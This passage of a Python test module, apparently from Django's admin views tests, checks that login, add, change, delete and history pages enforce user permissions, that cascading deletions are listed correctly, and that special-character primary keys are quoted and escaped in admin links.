        response = self.client.get(reverse('has_permission_admin:index'))
        self.assertEqual(response.status_code, 302)
        login = self.client.post(reverse('has_permission_admin:login'), {
            REDIRECT_FIELD_NAME: reverse('has_permission_admin:index'),
            'username': 'deleteuser',
            'password': 'secret',
        })
        self.assertRedirects(login, reverse('has_permission_admin:index'))
        self.assertFalse(login.context)
        self.client.get(reverse('has_permission_admin:logout'))

    def test_login_successfully_redirects_to_original_URL(self):
        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)
        query_string = 'the-answer=42'
        redirect_url = '%s?%s' % (self.index_url, query_string)
        new_next = {REDIRECT_FIELD_NAME: redirect_url}
        post_data = self.super_login.copy()
        post_data.pop(REDIRECT_FIELD_NAME)
        login = self.client.post(
            '%s?%s' % (reverse('admin:login'), urlencode(new_next)),
            post_data)
        self.assertRedirects(login, redirect_url)

    def test_double_login_is_not_allowed(self):
        """Regression test for #19327"""
        login_url = '%s?next=%s' % (reverse('admin:login'), reverse('admin:index'))

        response = self.client.get(self.index_url)
        self.assertEqual(response.status_code, 302)

        # Establish a valid admin session
        login = self.client.post(login_url, self.super_login)
        self.assertRedirects(login, self.index_url)
        self.assertFalse(login.context)

        # Logging in with non-admin user fails
        login = self.client.post(login_url, self.joepublic_login)
        self.assertEqual(login.status_code, 200)
        self.assertContains(login, ERROR_MESSAGE)

        # Establish a valid admin session
        login = self.client.post(login_url, self.super_login)
        self.assertRedirects(login, self.index_url)
        self.assertFalse(login.context)

        # Logging in with admin user while already logged in
        login = self.client.post(login_url, self.super_login)
        self.assertRedirects(login, self.index_url)
        self.assertFalse(login.context)
        self.client.get(reverse('admin:logout'))

    def test_login_page_notice_for_non_staff_users(self):
        """
        A logged-in non-staff user trying to access the admin index should be
        presented with the login page and a hint indicating that the current
        user doesn't have access to it.
        """
        hint_template = 'You are authenticated as {}'

        # Anonymous user should not be shown the hint
        response = self.client.get(self.index_url, follow=True)
        self.assertContains(response, 'login-form')
        self.assertNotContains(response, hint_template.format(''), status_code=200)

        # Non-staff user should be shown the hint
        self.client.force_login(self.nostaffuser)
        response = self.client.get(self.index_url, follow=True)
        self.assertContains(response, 'login-form')
        self.assertContains(response, hint_template.format(self.nostaffuser.username), status_code=200)

    def test_add_view(self):
        """Test add view restricts access and actually adds items."""
        add_dict = {'title': 'Døm ikke',
                    'content': '<p>great article</p>',
                    'date_0': '2008-03-18', 'date_1': '10:54:39',
                    'section': self.s1.pk}

        # Change User should not have access to add articles
        self.client.force_login(self.changeuser)
        # make sure the view removes test cookie
        self.assertIs(self.client.session.test_cookie_worked(), False)
        response = self.client.get(reverse('admin:admin_views_article_add'))
        self.assertEqual(response.status_code, 403)
        # Try POST just to make sure
        post = self.client.post(reverse('admin:admin_views_article_add'), add_dict)
        self.assertEqual(post.status_code, 403)
        self.assertEqual(Article.objects.count(), 3)
        self.client.get(reverse('admin:logout'))

        # Add user may login and POST to add view, then redirect to admin root
        self.client.force_login(self.adduser)
        addpage = self.client.get(reverse('admin:admin_views_article_add'))
        change_list_link = '&rsaquo; <a href="%s">Articles</a>' % reverse('admin:admin_views_article_changelist')
        self.assertNotContains(
            addpage, change_list_link,
            msg_prefix='User restricted to add permission is given link to change list view in breadcrumbs.'
        )
        post = self.client.post(reverse('admin:admin_views_article_add'), add_dict)
        self.assertRedirects(post, self.index_url)
        self.assertEqual(Article.objects.count(), 4)
        self.assertEqual(len(mail.outbox), 1)
        self.assertEqual(mail.outbox[0].subject, 'Greetings from a created object')
        self.client.get(reverse('admin:logout'))

        # Check that the addition was logged correctly
        addition_log = LogEntry.objects.all()[0]
        new_article = Article.objects.last()
        article_ct = ContentType.objects.get_for_model(Article)
        self.assertEqual(addition_log.user_id, self.adduser.pk)
        self.assertEqual(addition_log.content_type_id, article_ct.pk)
        self.assertEqual(addition_log.object_id, str(new_article.pk))
        self.assertEqual(addition_log.object_repr, "Døm ikke")
        self.assertEqual(addition_log.action_flag, ADDITION)
        self.assertEqual(addition_log.get_change_message(), "Added.")

        # Super can add too, but is redirected to the change list view
        self.client.force_login(self.superuser)
        addpage = self.client.get(reverse('admin:admin_views_article_add'))
        self.assertContains(
            addpage, change_list_link,
            msg_prefix='Unrestricted user is not given link to change list view in breadcrumbs.'
        )
        post = self.client.post(reverse('admin:admin_views_article_add'), add_dict)
        self.assertRedirects(post, reverse('admin:admin_views_article_changelist'))
        self.assertEqual(Article.objects.count(), 5)
        self.client.get(reverse('admin:logout'))

        # 8509 - if a normal user is already logged in, it is possible
        # to change user into the superuser without error
        self.client.force_login(self.joepublicuser)
        # Check and make sure that if user expires, data still persists
        self.client.force_login(self.superuser)
        # make sure the view removes test cookie
        self.assertIs(self.client.session.test_cookie_worked(), False)

    def test_change_view(self):
        """Change view should restrict access and allow users to edit items."""
        change_dict = {'title': 'Ikke fordømt',
                       'content': '<p>edited article</p>',
                       'date_0': '2008-03-18', 'date_1': '10:54:39',
                       'section': self.s1.pk}
        article_change_url = reverse('admin:admin_views_article_change', args=(self.a1.pk,))
        article_changelist_url = reverse('admin:admin_views_article_changelist')

        # add user should not be able to view the list of article or change any of them
        self.client.force_login(self.adduser)
        response = self.client.get(article_changelist_url)
        self.assertEqual(response.status_code, 403)
        response = self.client.get(article_change_url)
        self.assertEqual(response.status_code, 403)
        post = self.client.post(article_change_url, change_dict)
        self.assertEqual(post.status_code, 403)
        self.client.get(reverse('admin:logout'))

        # change user can view all items and edit them
        self.client.force_login(self.changeuser)
        response = self.client.get(article_changelist_url)
        self.assertEqual(response.status_code, 200)
        response = self.client.get(article_change_url)
        self.assertEqual(response.status_code, 200)
        post = self.client.post(article_change_url, change_dict)
        self.assertRedirects(post, article_changelist_url)
        self.assertEqual(Article.objects.get(pk=self.a1.pk).content, '<p>edited article</p>')

        # one error in form should produce singular error message, multiple errors plural
        change_dict['title'] = ''
        post = self.client.post(article_change_url, change_dict)
        self.assertContains(
            post, 'Please correct the error below.',
            msg_prefix='Singular error message not found in response to post with one error'
        )

        change_dict['content'] = ''
        post = self.client.post(article_change_url, change_dict)
        self.assertContains(
            post, 'Please correct the errors below.',
            msg_prefix='Plural error message not found in response to post with multiple errors'
        )
        self.client.get(reverse('admin:logout'))

        # Test redirection when using row-level change permissions. Refs #11513.
        r1 = RowLevelChangePermissionModel.objects.create(id=1, name="odd id")
        r2 = RowLevelChangePermissionModel.objects.create(id=2, name="even id")
        change_url_1 = reverse('admin:admin_views_rowlevelchangepermissionmodel_change', args=(r1.pk,))
        change_url_2 = reverse('admin:admin_views_rowlevelchangepermissionmodel_change', args=(r2.pk,))
        for login_user in [self.superuser, self.adduser, self.changeuser, self.deleteuser]:
            self.client.force_login(login_user)
            response = self.client.get(change_url_1)
            self.assertEqual(response.status_code, 403)
            response = self.client.post(change_url_1, {'name': 'changed'})
            self.assertEqual(RowLevelChangePermissionModel.objects.get(id=1).name, 'odd id')
            self.assertEqual(response.status_code, 403)
            response = self.client.get(change_url_2)
            self.assertEqual(response.status_code, 200)
            response = self.client.post(change_url_2, {'name': 'changed'})
            self.assertEqual(RowLevelChangePermissionModel.objects.get(id=2).name, 'changed')
            self.assertRedirects(response, self.index_url)
            self.client.get(reverse('admin:logout'))

        for login_user in [self.joepublicuser, self.nostaffuser]:
            self.client.force_login(login_user)
            response = self.client.get(change_url_1, follow=True)
            self.assertContains(response, 'login-form')
            response = self.client.post(change_url_1, {'name': 'changed'}, follow=True)
            self.assertEqual(RowLevelChangePermissionModel.objects.get(id=1).name, 'odd id')
            self.assertContains(response, 'login-form')
            response = self.client.get(change_url_2, follow=True)
            self.assertContains(response, 'login-form')
            response = self.client.post(change_url_2, {'name': 'changed again'}, follow=True)
            self.assertEqual(RowLevelChangePermissionModel.objects.get(id=2).name, 'changed')
            self.assertContains(response, 'login-form')
            self.client.get(reverse('admin:logout'))

    def test_change_view_save_as_new(self):
        """
        'Save as new' should raise PermissionDenied for users without the 'add'
        permission.
        """
        change_dict_save_as_new = {
            '_saveasnew': 'Save as new',
            'title': 'Ikke fordømt',
            'content': '<p>edited article</p>',
            'date_0': '2008-03-18', 'date_1': '10:54:39',
            'section': self.s1.pk,
        }
        article_change_url = reverse('admin:admin_views_article_change', args=(self.a1.pk,))

        # Add user can perform "Save as new".
        article_count = Article.objects.count()
        self.client.force_login(self.adduser)
        post = self.client.post(article_change_url, change_dict_save_as_new)
        self.assertRedirects(post, self.index_url)
        self.assertEqual(Article.objects.count(), article_count + 1)
        self.client.logout()

        # Change user cannot perform "Save as new" (no 'add' permission).
        article_count = Article.objects.count()
        self.client.force_login(self.changeuser)
        post = self.client.post(article_change_url, change_dict_save_as_new)
        self.assertEqual(post.status_code, 403)
        self.assertEqual(Article.objects.count(), article_count)

        # User with both add and change permissions should be redirected to the
        # change page for the newly created object.
        article_count = Article.objects.count()
        self.client.force_login(self.superuser)
        post = self.client.post(article_change_url, change_dict_save_as_new)
        self.assertEqual(Article.objects.count(), article_count + 1)
        new_article = Article.objects.latest('id')
        self.assertRedirects(post, reverse('admin:admin_views_article_change', args=(new_article.pk,)))

    def test_delete_view(self):
        """Delete view should restrict access and actually delete items."""
        delete_dict = {'post': 'yes'}
        delete_url = reverse('admin:admin_views_article_delete', args=(self.a1.pk,))

        # add user should not be able to delete articles
        self.client.force_login(self.adduser)
        response = self.client.get(delete_url)
        self.assertEqual(response.status_code, 403)
        post = self.client.post(delete_url, delete_dict)
        self.assertEqual(post.status_code, 403)
        self.assertEqual(Article.objects.count(), 3)
        self.client.logout()

        # Delete user can delete
        self.client.force_login(self.deleteuser)
        response = self.client.get(reverse('admin:admin_views_section_delete', args=(self.s1.pk,)))
        self.assertContains(response, "<h2>Summary</h2>")
        self.assertContains(response, "<li>Articles: 3</li>")
        # test response contains link to related Article
        self.assertContains(response, "admin_views/article/%s/" % self.a1.pk)

        response = self.client.get(delete_url)
        self.assertContains(response, "admin_views/article/%s/" % self.a1.pk)
        self.assertContains(response, "<h2>Summary</h2>")
        self.assertContains(response, "<li>Articles: 1</li>")
        self.assertEqual(response.status_code, 200)
        post = self.client.post(delete_url, delete_dict)
        self.assertRedirects(post, self.index_url)
        self.assertEqual(Article.objects.count(), 2)
        self.assertEqual(len(mail.outbox), 1)
        self.assertEqual(mail.outbox[0].subject, 'Greetings from a deleted object')
        article_ct = ContentType.objects.get_for_model(Article)
        logged = LogEntry.objects.get(content_type=article_ct, action_flag=DELETION)
        self.assertEqual(logged.object_id, str(self.a1.pk))

    def test_history_view(self):
        """History view should restrict access."""
        # add user should not be able to view the list of article or change any of them
        self.client.force_login(self.adduser)
        response = self.client.get(reverse('admin:admin_views_article_history', args=(self.a1.pk,)))
        self.assertEqual(response.status_code, 403)
        self.client.get(reverse('admin:logout'))

        # change user can view all items and edit them
        self.client.force_login(self.changeuser)
        response = self.client.get(reverse('admin:admin_views_article_history', args=(self.a1.pk,)))
        self.assertEqual(response.status_code, 200)

        # Test redirection when using row-level change permissions. Refs #11513.
        rl1 = RowLevelChangePermissionModel.objects.create(name="odd id")
        rl2 = RowLevelChangePermissionModel.objects.create(name="even id")
        for login_user in [self.superuser, self.adduser, self.changeuser, self.deleteuser]:
            self.client.force_login(login_user)
            url = reverse('admin:admin_views_rowlevelchangepermissionmodel_history', args=(rl1.pk,))
            response = self.client.get(url)
            self.assertEqual(response.status_code, 403)

            url = reverse('admin:admin_views_rowlevelchangepermissionmodel_history', args=(rl2.pk,))
            response = self.client.get(url)
            self.assertEqual(response.status_code, 200)

            self.client.get(reverse('admin:logout'))

        for login_user in [self.joepublicuser, self.nostaffuser]:
            self.client.force_login(login_user)
            url = reverse('admin:admin_views_rowlevelchangepermissionmodel_history', args=(rl1.pk,))
            response = self.client.get(url, follow=True)
            self.assertContains(response, 'login-form')
            url = reverse('admin:admin_views_rowlevelchangepermissionmodel_history', args=(rl2.pk,))
            response = self.client.get(url, follow=True)
            self.assertContains(response, 'login-form')

            self.client.get(reverse('admin:logout'))

    def test_history_view_bad_url(self):
        self.client.force_login(self.changeuser)
        response = self.client.get(reverse('admin:admin_views_article_history', args=('foo',)))
        self.assertEqual(response.status_code, 404)

    def test_conditionally_show_add_section_link(self):
        """
        The foreign key widget should only show the "add related" button if the
        user has permission to add that related item.
        """
        self.client.force_login(self.adduser)
        # The user can't add sections yet, so they shouldn't see the "add section" link.
        url = reverse('admin:admin_views_article_add')
        add_link_text = 'add_id_section'
        response = self.client.get(url)
        self.assertNotContains(response, add_link_text)
        # Allow the user to add sections too. Now they can see the "add section" link.
        user = User.objects.get(username='adduser')
        perm = get_perm(Section, get_permission_codename('add', Section._meta))
        user.user_permissions.add(perm)
        response = self.client.get(url)
        self.assertContains(response, add_link_text)

    def test_conditionally_show_change_section_link(self):
        """
        The foreign key widget should only show the "change related" button if
        the user has permission to change that related item.
        """
        def get_change_related(response):
            return response.context['adminform'].form.fields['section'].widget.can_change_related

        self.client.force_login(self.adduser)
        # The user can't change sections yet, so they shouldn't see the "change section" link.
        url = reverse('admin:admin_views_article_add')
        change_link_text = 'change_id_section'
        response = self.client.get(url)
        self.assertFalse(get_change_related(response))
        self.assertNotContains(response, change_link_text)
        # Allow the user to change sections too. Now they can see the "change section" link.
        user = User.objects.get(username='adduser')
        perm = get_perm(Section, get_permission_codename('change', Section._meta))
        user.user_permissions.add(perm)
        response = self.client.get(url)
        self.assertTrue(get_change_related(response))
        self.assertContains(response, change_link_text)

    def test_conditionally_show_delete_section_link(self):
        """
        The foreign key widget should only show the "delete related" button if
        the user has permission to delete that related item.
        """
        def get_delete_related(response):
            return response.context['adminform'].form.fields['sub_section'].widget.can_delete_related

        self.client.force_login(self.adduser)
        # The user can't delete sections yet, so they shouldn't see the "delete section" link.
        url = reverse('admin:admin_views_article_add')
        delete_link_text = 'delete_id_sub_section'
        response = self.client.get(url)
        self.assertFalse(get_delete_related(response))
        self.assertNotContains(response, delete_link_text)
        # Allow the user to delete sections too. Now they can see the "delete section" link.
        user = User.objects.get(username='adduser')
        perm = get_perm(Section, get_permission_codename('delete', Section._meta))
        user.user_permissions.add(perm)
        response = self.client.get(url)
        self.assertTrue(get_delete_related(response))
        self.assertContains(response, delete_link_text)

    def test_disabled_permissions_when_logged_in(self):
        self.client.force_login(self.superuser)
        superuser = User.objects.get(username='super')
        superuser.is_active = False
        superuser.save()

        response = self.client.get(self.index_url, follow=True)
        self.assertContains(response, 'id="login-form"')
        self.assertNotContains(response, 'Log out')

        response = self.client.get(reverse('secure_view'), follow=True)
        self.assertContains(response, 'id="login-form"')

    def test_disabled_staff_permissions_when_logged_in(self):
        self.client.force_login(self.superuser)
        superuser = User.objects.get(username='super')
        superuser.is_staff = False
        superuser.save()

        response = self.client.get(self.index_url, follow=True)
        self.assertContains(response, 'id="login-form"')
        self.assertNotContains(response, 'Log out')

        response = self.client.get(reverse('secure_view'), follow=True)
        self.assertContains(response, 'id="login-form"')

    def test_app_index_fail_early(self):
        """
        If a user has no module perms, avoid iterating over all the modeladmins
        in the registry.
        """
        opts = Article._meta
        change_user = User.objects.get(username='changeuser')
        permission = get_perm(Article, get_permission_codename('change', opts))

        self.client.force_login(self.changeuser)

        # the user has no module permissions, because this module doesn't exist
        change_user.user_permissions.remove(permission)
        response = self.client.get(reverse('admin:app_list', args=('admin_views',)))
        self.assertEqual(response.status_code, 403)

        # the user now has module permissions
        change_user.user_permissions.add(permission)
        response = self.client.get(reverse('admin:app_list', args=('admin_views',)))
        self.assertEqual(response.status_code, 200)

    def test_shortcut_view_only_available_to_staff(self):
        """
        Only admin users should be able to use the admin shortcut view.
        """
        model_ctype = ContentType.objects.get_for_model(ModelWithStringPrimaryKey)
        obj = ModelWithStringPrimaryKey.objects.create(string_pk='foo')
        shortcut_url = reverse('admin:view_on_site', args=(model_ctype.pk, obj.pk))

        # Not logged in: we should see the login page.
        response = self.client.get(shortcut_url, follow=True)
        self.assertTemplateUsed(response, 'admin/login.html')

        # Logged in? Redirect.
        self.client.force_login(self.superuser)
        response = self.client.get(shortcut_url, follow=False)
        # Can't use self.assertRedirects() because User.get_absolute_url() is silly.
        self.assertEqual(response.status_code, 302)
        # Domain may depend on contrib.sites tests also run
        six.assertRegex(self, response.url, 'http://(testserver|example.com)/dummy/foo/')

    def test_has_module_permission(self):
        """
        Ensure that has_module_permission() returns True for all users who
        have any permission for that module (add, change, or delete), so that
        the module is displayed on the admin index page.
        """
        self.client.force_login(self.superuser)
        response = self.client.get(self.index_url)
        self.assertContains(response, 'admin_views')
        self.assertContains(response, 'Articles')
        self.client.logout()

        self.client.force_login(self.adduser)
        response = self.client.get(self.index_url)
        self.assertContains(response, 'admin_views')
        self.assertContains(response, 'Articles')
        self.client.logout()

        self.client.force_login(self.changeuser)
        response = self.client.get(self.index_url)
        self.assertContains(response, 'admin_views')
        self.assertContains(response, 'Articles')
        self.client.logout()

        self.client.force_login(self.deleteuser)
        response = self.client.get(self.index_url)
        self.assertContains(response, 'admin_views')
        self.assertContains(response, 'Articles')

    def test_overriding_has_module_permission(self):
        """
        Ensure that overriding has_module_permission() has the desired effect.
        In this case, it always returns False, so the module should not be
        displayed on the admin index page for any users.
        """
        index_url = reverse('admin7:index')

        self.client.force_login(self.superuser)
        response = self.client.get(index_url)
        self.assertNotContains(response, 'admin_views')
        self.assertNotContains(response, 'Articles')
        self.client.logout()

        self.client.force_login(self.adduser)
        response = self.client.get(index_url)
        self.assertNotContains(response, 'admin_views')
        self.assertNotContains(response, 'Articles')
        self.client.logout()

        self.client.force_login(self.changeuser)
        response = self.client.get(index_url)
        self.assertNotContains(response, 'admin_views')
        self.assertNotContains(response, 'Articles')
        self.client.logout()

        self.client.force_login(self.deleteuser)
        response = self.client.get(index_url)
        self.assertNotContains(response, 'admin_views')
        self.assertNotContains(response, 'Articles')

    def test_post_save_message_no_forbidden_links_visible(self):
        """
        Post-save message shouldn't contain a link to the change form if the
        user doen't have the change permission.
        """
        self.client.force_login(self.adduser)
        # Emulate Article creation for user with add-only permission.
        post_data = {
            "title": "Fun & games",
            "content": "Some content",
            "date_0": "2015-10-31",
            "date_1": "16:35:00",
            "_save": "Save",
        }
        response = self.client.post(reverse('admin:admin_views_article_add'), post_data, follow=True)
        self.assertContains(
            response,
            '<li class="success">The article "Fun &amp; games" was added successfully.</li>',
            html=True
        )


@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminViewsNoUrlTest(TestCase):
    """Regression test for #17333"""

    @classmethod
    def setUpTestData(cls):
        # User who can change Reports
        cls.changeuser = User.objects.create_user(username='changeuser', password='secret', is_staff=True)
        cls.changeuser.user_permissions.add(get_perm(Report, get_permission_codename('change', Report._meta)))

    def test_no_standard_modeladmin_urls(self):
        """Admin index views don't break when user's ModelAdmin removes standard urls"""
        self.client.force_login(self.changeuser)
        r = self.client.get(reverse('admin:index'))
        # we shouldn't get a 500 error caused by a NoReverseMatch
        self.assertEqual(r.status_code, 200)
        self.client.get(reverse('admin:logout'))


@skipUnlessDBFeature('can_defer_constraint_checks')
@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminViewDeletedObjectsTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.deleteuser = User.objects.create_user(username='deleteuser', password='secret', is_staff=True)
        cls.s1 = Section.objects.create(name='Test section')
        cls.a1 = Article.objects.create(
            content='<p>Middle content</p>', date=datetime.datetime(2008, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a2 = Article.objects.create(
            content='<p>Oldest content</p>', date=datetime.datetime(2000, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a3 = Article.objects.create(
            content='<p>Newest content</p>', date=datetime.datetime(2009, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.p1 = PrePopulatedPost.objects.create(title='A Long Title', published=True, slug='a-long-title')

        cls.v1 = Villain.objects.create(name='Adam')
        cls.v2 = Villain.objects.create(name='Sue')
        cls.sv1 = SuperVillain.objects.create(name='Bob')
        cls.pl1 = Plot.objects.create(name='World Domination', team_leader=cls.v1, contact=cls.v2)
        cls.pl2 = Plot.objects.create(name='World Peace', team_leader=cls.v2, contact=cls.v2)
        cls.pl3 = Plot.objects.create(name='Corn Conspiracy', team_leader=cls.v1, contact=cls.v1)
        cls.pd1 = PlotDetails.objects.create(details='almost finished', plot=cls.pl1)
        cls.sh1 = SecretHideout.objects.create(location='underground bunker', villain=cls.v1)
        cls.sh2 = SecretHideout.objects.create(location='floating castle', villain=cls.sv1)
        cls.ssh1 = SuperSecretHideout.objects.create(location='super floating castle!', supervillain=cls.sv1)
        cls.cy1 = CyclicOne.objects.create(name='I am recursive', two_id=1)
        cls.cy2 = CyclicTwo.objects.create(name='I am recursive too', one_id=1)

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_nesting(self):
        """
        Objects should be nested to display the relationships that
        cause them to be scheduled for deletion.
        """
        pattern = re.compile(
            force_bytes(
                r'<li>Plot: <a href="%s">World Domination</a>\s*<ul>\s*'
                r'<li>Plot details: <a href="%s">almost finished</a>' % (
                    reverse('admin:admin_views_plot_change', args=(self.pl1.pk,)),
                    reverse('admin:admin_views_plotdetails_change', args=(self.pd1.pk,)),
                )
            )
        )
        response = self.client.get(reverse('admin:admin_views_villain_delete', args=(self.v1.pk,)))
        six.assertRegex(self, response.content, pattern)

    def test_cyclic(self):
        """
        Cyclic relationships should still cause each object to only be
        listed once.
        """
        one = '<li>Cyclic one: <a href="%s">I am recursive</a>' % (
            reverse('admin:admin_views_cyclicone_change', args=(self.cy1.pk,)),
        )
        two = '<li>Cyclic two: <a href="%s">I am recursive too</a>' % (
            reverse('admin:admin_views_cyclictwo_change', args=(self.cy2.pk,)),
        )
        response = self.client.get(reverse('admin:admin_views_cyclicone_delete', args=(self.cy1.pk,)))

        self.assertContains(response, one, 1)
        self.assertContains(response, two, 1)

    def test_perms_needed(self):
        self.client.logout()
        delete_user = User.objects.get(username='deleteuser')
        delete_user.user_permissions.add(get_perm(Plot, get_permission_codename('delete', Plot._meta)))

        self.client.force_login(self.deleteuser)
        response = self.client.get(reverse('admin:admin_views_plot_delete', args=(self.pl1.pk,)))
        self.assertContains(response, "your account doesn't have permission to delete the following types of objects")
        self.assertContains(response, "<li>plot details</li>")

    def test_protected(self):
        q = Question.objects.create(question="Why?")
        a1 = Answer.objects.create(question=q, answer="Because.")
        a2 = Answer.objects.create(question=q, answer="Yes.")

        response = self.client.get(reverse('admin:admin_views_question_delete', args=(q.pk,)))
        self.assertContains(response, "would require deleting the following protected related objects")
        self.assertContains(
            response,
            '<li>Answer: <a href="%s">Because.</a></li>' % reverse('admin:admin_views_answer_change', args=(a1.pk,))
        )
        self.assertContains(
            response,
            '<li>Answer: <a href="%s">Yes.</a></li>' % reverse('admin:admin_views_answer_change', args=(a2.pk,))
        )

    def test_post_delete_protected(self):
        """
        A POST request to delete protected objects should display the page
        which says the deletion is prohibited.
        """
        q = Question.objects.create(question='Why?')
        Answer.objects.create(question=q, answer='Because.')

        response = self.client.post(reverse('admin:admin_views_question_delete', args=(q.pk,)), {'post': 'yes'})
        self.assertEqual(Question.objects.count(), 1)
        self.assertContains(response, "would require deleting the following protected related objects")

    def test_not_registered(self):
        should_contain = """<li>Secret hideout: underground bunker"""
        response = self.client.get(reverse('admin:admin_views_villain_delete', args=(self.v1.pk,)))
        self.assertContains(response, should_contain, 1)

    def test_multiple_fkeys_to_same_model(self):
        """
        If a deleted object has two relationships from another model,
        both of those should be followed in looking for related
        objects to delete.
        """
        should_contain = '<li>Plot: <a href="%s">World Domination</a>' % reverse(
            'admin:admin_views_plot_change', args=(self.pl1.pk,)
        )
        response = self.client.get(reverse('admin:admin_views_villain_delete', args=(self.v1.pk,)))
        self.assertContains(response, should_contain)
        response = self.client.get(reverse('admin:admin_views_villain_delete', args=(self.v2.pk,)))
        self.assertContains(response, should_contain)

    def test_multiple_fkeys_to_same_instance(self):
        """
        If a deleted object has two relationships pointing to it from
        another object, the other object should still only be listed
        once.
        """
        should_contain = '<li>Plot: <a href="%s">World Peace</a></li>' % reverse(
            'admin:admin_views_plot_change', args=(self.pl2.pk,)
        )
        response = self.client.get(reverse('admin:admin_views_villain_delete', args=(self.v2.pk,)))
        self.assertContains(response, should_contain, 1)

    def test_inheritance(self):
        """
        In the case of an inherited model, if either the child or
        parent-model instance is deleted, both instances are listed
        for deletion, as well as any relationships they have.
        """
        should_contain = [
            '<li>Villain: <a href="%s">Bob</a>' % reverse('admin:admin_views_villain_change', args=(self.sv1.pk,)),
            '<li>Super villain: <a href="%s">Bob</a>' % reverse(
                'admin:admin_views_supervillain_change', args=(self.sv1.pk,)
            ),
            '<li>Secret hideout: floating castle',
            '<li>Super secret hideout: super floating castle!',
        ]
        response = self.client.get(reverse('admin:admin_views_villain_delete', args=(self.sv1.pk,)))
        for should in should_contain:
            self.assertContains(response, should, 1)
        response = self.client.get(reverse('admin:admin_views_supervillain_delete', args=(self.sv1.pk,)))
        for should in should_contain:
            self.assertContains(response, should, 1)

    def test_generic_relations(self):
        """
        If a deleted object has GenericForeignKeys pointing to it,
        those objects should be listed for deletion.
        """
        plot = self.pl3
        tag = FunkyTag.objects.create(content_object=plot, name='hott')
        should_contain = '<li>Funky tag: <a href="%s">hott' % reverse(
            'admin:admin_views_funkytag_change', args=(tag.id,))
        response = self.client.get(reverse('admin:admin_views_plot_delete', args=(plot.pk,)))
        self.assertContains(response, should_contain)

    def test_generic_relations_with_related_query_name(self):
        """
        If a deleted object has GenericForeignKey with
        GenericRelation(related_query_name='...') pointing to it, those objects
        should be listed for deletion.
        """
        bookmark = Bookmark.objects.create(name='djangoproject')
        tag = FunkyTag.objects.create(content_object=bookmark, name='django')
        tag_url = reverse('admin:admin_views_funkytag_change', args=(tag.id,))
        should_contain = '<li>Funky tag: <a href="%s">django' % tag_url
        response = self.client.get(reverse('admin:admin_views_bookmark_delete', args=(bookmark.pk,)))
        self.assertContains(response, should_contain)


@override_settings(ROOT_URLCONF='admin_views.urls')
class TestGenericRelations(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.v1 = Villain.objects.create(name='Adam')
        cls.pl3 = Plot.objects.create(name='Corn Conspiracy', team_leader=cls.v1, contact=cls.v1)

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_generic_content_object_in_list_display(self):
        FunkyTag.objects.create(content_object=self.pl3, name='hott')
        response = self.client.get(reverse('admin:admin_views_funkytag_changelist'))
        self.assertContains(response, "%s</td>" % self.pl3)


@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminViewStringPrimaryKeyTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')
        cls.s1 = Section.objects.create(name='Test section')
        cls.a1 = Article.objects.create(
            content='<p>Middle content</p>', date=datetime.datetime(2008, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a2 = Article.objects.create(
            content='<p>Oldest content</p>', date=datetime.datetime(2000, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.a3 = Article.objects.create(
            content='<p>Newest content</p>', date=datetime.datetime(2009, 3, 18, 11, 54, 58), section=cls.s1
        )
        cls.p1 = PrePopulatedPost.objects.create(title='A Long Title', published=True, slug='a-long-title')
        cls.pk = (
            "abcdefghijklmnopqrstuvwxyz ABCDEFGHIJKLMNOPQRSTUVWXYZ 1234567890 "
            """-_.!~*'() ;/?:@&=+$, <>#%" {}|\^[]`"""
        )
        cls.m1 = ModelWithStringPrimaryKey.objects.create(string_pk=cls.pk)
        content_type_pk = ContentType.objects.get_for_model(ModelWithStringPrimaryKey).pk
        user_pk = cls.superuser.pk
        LogEntry.objects.log_action(user_pk, content_type_pk, cls.pk, cls.pk, 2, change_message='Changed something')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_get_history_view(self):
        """
        Retrieving the history for an object using urlencoded form of primary
        key should work.
        Refs #12349, #18550.
        """
        response = self.client.get(reverse('admin:admin_views_modelwithstringprimarykey_history', args=(self.pk,)))
        self.assertContains(response, escape(self.pk))
        self.assertContains(response, 'Changed something')
        self.assertEqual(response.status_code, 200)

    def test_get_change_view(self):
        "Retrieving the object using urlencoded form of primary key should work"
        response = self.client.get(reverse('admin:admin_views_modelwithstringprimarykey_change', args=(self.pk,)))
        self.assertContains(response, escape(self.pk))
        self.assertEqual(response.status_code, 200)

    def test_changelist_to_changeform_link(self):
        "Link to the changeform of the object in changelist should use reverse() and be quoted -- #18072"
        response = self.client.get(reverse('admin:admin_views_modelwithstringprimarykey_changelist'))
        # this URL now comes through reverse(), thus url quoting and iri_to_uri encoding
        pk_final_url = escape(iri_to_uri(quote(self.pk)))
        change_url = reverse(
            'admin:admin_views_modelwithstringprimarykey_change', args=('__fk__',)
        ).replace('__fk__', pk_final_url)
        should_contain = '<th class="field-__str__"><a href="%s">%s</a></th>' % (change_url, escape(self.pk))
        self.assertContains(response, should_contain)

    def test_recentactions_link(self):
        "The link from the recent actions list referring to the changeform of the object should be quoted"
        response = self.client.get(reverse('admin:index'))
        link = reverse('admin:admin_views_modelwithstringprimarykey_change', args=(quote(self.pk),))
        should_contain = """<a href="%s">%s</a>""" % (escape(link), escape(self.pk))
        self.assertContains(response, should_contain)

    def test_deleteconfirmation_link(self):
        "The link from the delete confirmation page referring back to the changeform of the object should be quoted"
        url = reverse('admin:admin_views_modelwithstringprimarykey_delete', args=(quote(self.pk),))
        response = self.client.get(url)
        # this URL now comes through reverse(), thus url quoting and iri_to_uri encoding
        change_url = reverse(
            'admin:admin_views_modelwithstringprimarykey_change', args=('__fk__',)
        ).replace('__fk__', escape(iri_to_uri(quote(self.pk))))
        should_contain = '<a href="%s">%s</a>' % (change_url, escape(self.pk))
